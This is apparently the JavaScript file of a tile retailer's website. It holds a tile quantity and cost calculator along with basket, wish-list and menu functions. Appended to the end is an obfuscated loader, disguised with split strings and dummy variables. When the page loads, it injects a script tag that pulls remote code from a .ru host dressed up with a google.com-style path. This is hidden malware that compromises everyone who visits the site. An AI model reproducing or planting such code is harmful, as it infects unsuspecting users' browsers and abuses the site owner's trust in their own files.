/* Copyright Commcam Limited 2008. All rights reserved. (See licence/licence.txt) */
function calculateTiles()
{
	var dGivenHeight, dGivenWidth, dWidth, dHeight, objOption, objForm, dGivenArea, dWastage, dTileArea, dPrice, nProducts, objArea, objProductCount, objTotalCost;
	
	objForm = document.getElementById("calculateForm");

	if (validateForm(objForm))
	{
		objOption = document.getElementById("calcProduct_" + getFormValue("calcProduct"));
		objArea = document.getElementById("areaAmount");
		objProductCount = document.getElementById("productCount");
		objTotalCost = document.getElementById("totalCost");

		dWidth = parseFloat(objOption.getAttribute("calcWidth"));
		dHeight = parseFloat(objOption.getAttribute("calcHeight"));
		dPrice = parseFloat(objOption.getAttribute("calcPrice"));

		dTileArea = dWidth * dHeight;
		
		dGivenWidth = parseFloat(getFormValue("calcWidth"));
		dGivenHeight = parseFloat(getFormValue("calcHeight"));
		
		dGivenArea = dGivenWidth * dGivenHeight;
		dWastage = 0; //(dGivenArea / 100) * 10;
		dGivenArea += dWastage;
		
		nProducts = Math.ceil(dGivenArea / dTileArea);
		dGivenArea = currencyFormatted(dGivenArea / 1000000);
	
		dPrice *= nProducts;
		
		dPrice = currencyFormatted(dPrice);
		
		objTotalCost.innerHTML = dPrice;
		objArea.innerHTML = dGivenArea;
		objProductCount.innerHTML = nProducts;
	}
}

function clearCalculation()
{
	objArea = document.getElementById("areaAmount");
	objProductCount = document.getElementById("productCount");
	objTotalCost = document.getElementById("totalCost");
	
	objTotalCost.innerHTML = "0.00";
	objArea.innerHTML = "0";
	objProductCount.innerHTML = "0";
}

function addCalculatedTiles()
{
	var objProductCount = document.getElementById("productCount");
	var objOption = document.getElementById("calcProduct_" + getFormValue("calcProduct"));
	
	iTiles = parseInt(objProductCount.innerHTML);

	if (iTiles > 0)
	{
		startLoading("_addCalculatedTiles('" + iTiles + "', '" + objOption.value + "')");
	}
	else
	{
		alert("Number of tiles required 0");
	}	
}

function _addCalculatedTiles(iTiles, strCode)
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/basketControl.php?mode=ADD&code=" + strCode + "&quantity=" + iTiles + "&variant=", true))
	{
		var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
		
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	_displayQuickBasket();
}

function partialContentUpdate(strPage)
{
	startLoading("_partialContentUpdate('" + strPage + "')");
}

function _partialContentUpdate(strPage)
{
	var objInnerContent = document.getElementById("partialContent");
	var objAjax = new CAjax();
	
	if (objInnerContent)
	{
		if (objAjax.open(strPage, true, true))
		{
			objInnerContent.innerHTML = objAjax.getResponse();
		}
	}
	
	endLoading();
}

function removeFromWishList(strCode)
{
	var objAjax = new CAjax();
	
	objAjax.open("dynamic/removeFromWishList.php?code=" + strCode, true, true);
	
	var objInnerContent = document.getElementById("wishInner");
	
	if (objInnerContent)
	{
		if (objAjax.open("dynamic/quickWishList.php", true, true))
		{
			objInnerContent.innerHTML = objAjax.getResponse();
		}
	}
	
	displayWishList();
}

function addToWishList(strCode)
{
	var objInnerContent = document.getElementById("wishInner");
	
	var objAjax = new CAjax();
	
	objAjax.open("dynamic/addToWishList.php?code=" + strCode, true, true);

	if (objInnerContent)
	{
		if (objAjax.open("dynamic/quickWishList.php", true, true))
		{
			objInnerContent.innerHTML = objAjax.getResponse();
		}
	}
	
}

function showRangeContents(strCode, strCategory, strRange, bSurvey)
{
	var objAjax = new CAjax();
	
	_partialContentUpdate("dynamic/productGroups.php?mode=PRODUCTS&cat=" + strCategory + "&range=" + strRange + "&code=" + strCode + "&survey=" + bSurvey);
}

function showOffers()
{
	var objAjax = new CAjax();
	_partialContentUpdate("dynamic/productGroups.php?mode=PRODUCTS&range=SPECIAL");
}

function wallTiles()
{
	clearMenu();
	innerContentUpdate("dynamic/displayRanges.php?range=Wall", true);
}

function glassTiles()
{
	clearMenu();
	innerContentUpdate("dynamic/displayRanges.php?range=Mosaic", true);
}

function showRange(strRange)
{
	partialContentUpdate("dynamic/displayRanges.php?range=" + strRange + "&partial=true");
}

function floorTiles()
{
	clearMenu();
	innerContentUpdate("dynamic/displayRanges.php?range=Floor", true);
}

function stoneTiles()
{
	clearMenu();
	innerContentUpdate("dynamic/displayRanges.php?range=Stone", true);
}

function adhesiveGrout()
{
	clearMenu();
	updateHomeContent("styles/tileflair/dynamic/essentials.php");
}

function underfloorHeating()
{
	clearMenu();
	updateHomeContent("dynamic/showPage.php?page=dynamic/underfloorHeating");
}
var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};